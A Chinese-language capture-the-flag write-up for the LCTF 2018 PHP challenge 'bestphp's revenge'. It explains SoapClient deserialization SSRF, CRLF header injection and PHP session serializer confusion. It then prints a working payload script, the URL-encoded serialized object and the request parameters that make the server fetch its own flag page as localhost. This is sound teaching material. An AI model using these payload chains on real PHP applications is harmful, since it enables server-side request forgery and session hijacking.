bestphp's revenge

  1. 1.php内置类SoapClient
  2. 2. CRLF Injection漏洞
  3. 3.call_user_func
  4. 4.PHPsession 反序列化

题目源码:

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
  $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);

//flag.php(扫目录扫的)
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

先来学习一些知识点:


1.php内置类SoapClient

​ SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
SoapClient类可以创建soap数据报文,与wsdl接口进行交互。

​ 第一个参数的意思是:控制是否是wsdl模式,如果为NULL,就是非wsdl模式.如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求,第二个参数的意思是:一个数组,里面是soap请求的一些参数和属性。

简单的用法

<?php
$a = new SoapClient(null,array(location'=>'http://127.0.0.1/flag.php','uri'='http://127.0.0.1/'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();

​ 可以利用 SoapClient 类的 __call (当调用对象中不存在的方法会自动调用此方法)方法来进行 SSRF

2. CRLF Injection漏洞

CRLF是”回车+换行”(\r\n)的简称。在HTTP协议中,HTTPHeader与HTTPBody是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLFInjection又叫HTTPResponseSplitting,简称HRS。
简单来说
http请求遇到两个\r\n即%0d%0a,会将前半部分当做头部解析,而将剩下的部分当做体,当我们可以控制User-Agent的值时,头部可控,就可以注入crlf实现修改http请求包。

<?php
$target = "http://127.0.0.1/flag.php";
$options = array(
    "location" => $target,
    "user_agent" => "ttycp3\r\nCookie: PHPSESSID=114514\r\n",
    "uri" => "demo"
);
$attack = new SoapClient(null,$options);
$payload = serialize($attack);
unserialize($payload)->ff(); // 调用一个不存在的ff方法,会触发__call方法,发出HTTP请求
?>

3.call_user_func

call_user_func函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法。

先传入extract(),将$b覆盖成回调函数,这样题目中的 call_user_func($b,$a) 就可以变成 call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF

4.PHPsession 反序列化

session.save_handler  session保存形式。默认为files

session.save_path    session保存路径

session.serialize_handler  session序列化存储所用处理器。默认为php

session中有三种序列化处理器处理session的情况

<?php 

session_start();

$_SESSION['name']='ttycp3';
php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
    
php 键名+竖线(|)+经过serialize()函数处理过的值
    
php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
    
    
例如:    
当 session.serialize_handler=php 时,session文件内容为: name|s:6:"ttycp3";  

当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:6:"ttycp3";}

当 session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:6:"ttycp3";

使用不同引擎就会发生漏洞,通常是先使用php_serialize进行序列化,然后php默认引擎进行反序列化,这是因为php引擎反序列化时,|被当做分隔符

例如

php_serialize引擎 a:1:{s:4:”name”;s:9:”|username”;}

php 就会反序列化username ,前面是键名,后面是键值

所以我们只需要传入$_SESSION[‘name’] = |序列化内容


接下来分析题目:

​ flag.php 文件中告诉我们,只有 127.0.0.1 请求该页面才能得到 flag ,所以这明显又是考察 SSRF 漏洞,这里我们便可以利用 SoapClient 类的 __call 方法来进行 SSRF

第一步:由于 PHP 中的原生 SoapClient 类存在 CRLF 漏洞,所以我们可以伪造任意 header ,构造 SoapClient 类,并用php_serialize引擎进行序列化,存入session

​ 这里还用到一个知识点:PHP 7 中 session_start () 函数可以接收一个数组作为参数,可以覆盖 php.ini 中 session 的配置项。

脚本构造:

<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
    'user_agent' => "ttycp3\r\nCookie:PHPSESSID=123456\r\n",
    'uri' => "http://127.0.0.1/"));

$se = serialize($b);
echo "|".urlencode($se);

//注意下,这个脚本想要执行,需要将php.ini里的extension=soap前面的分号去掉

执行后得到

|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A33%3A%22ttycp3%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

传参:

GET:
f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A33%3A%22ttycp3%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

POST:
serialize_handler=php_serialize

image-20230314193907764

第二步:通过变量覆盖,调用SoapClient类,从而触发__call 方法

传值f=extract&name=SoapClient POST:b=call_user_func. 这样 call_user_func($b,$a)就变成call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。

传参:

GET:
f=extract&name=SoapClient
POST:
b=call_user_func

image-20230314194523209

第三步:将PHPSESSID改为我们在SoapClient类里设置的123456即可得到flag

传参:

Cookie:PHPSESSID=123456

image-20230314194729913

参考

bestphp’s revenge[详解]


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com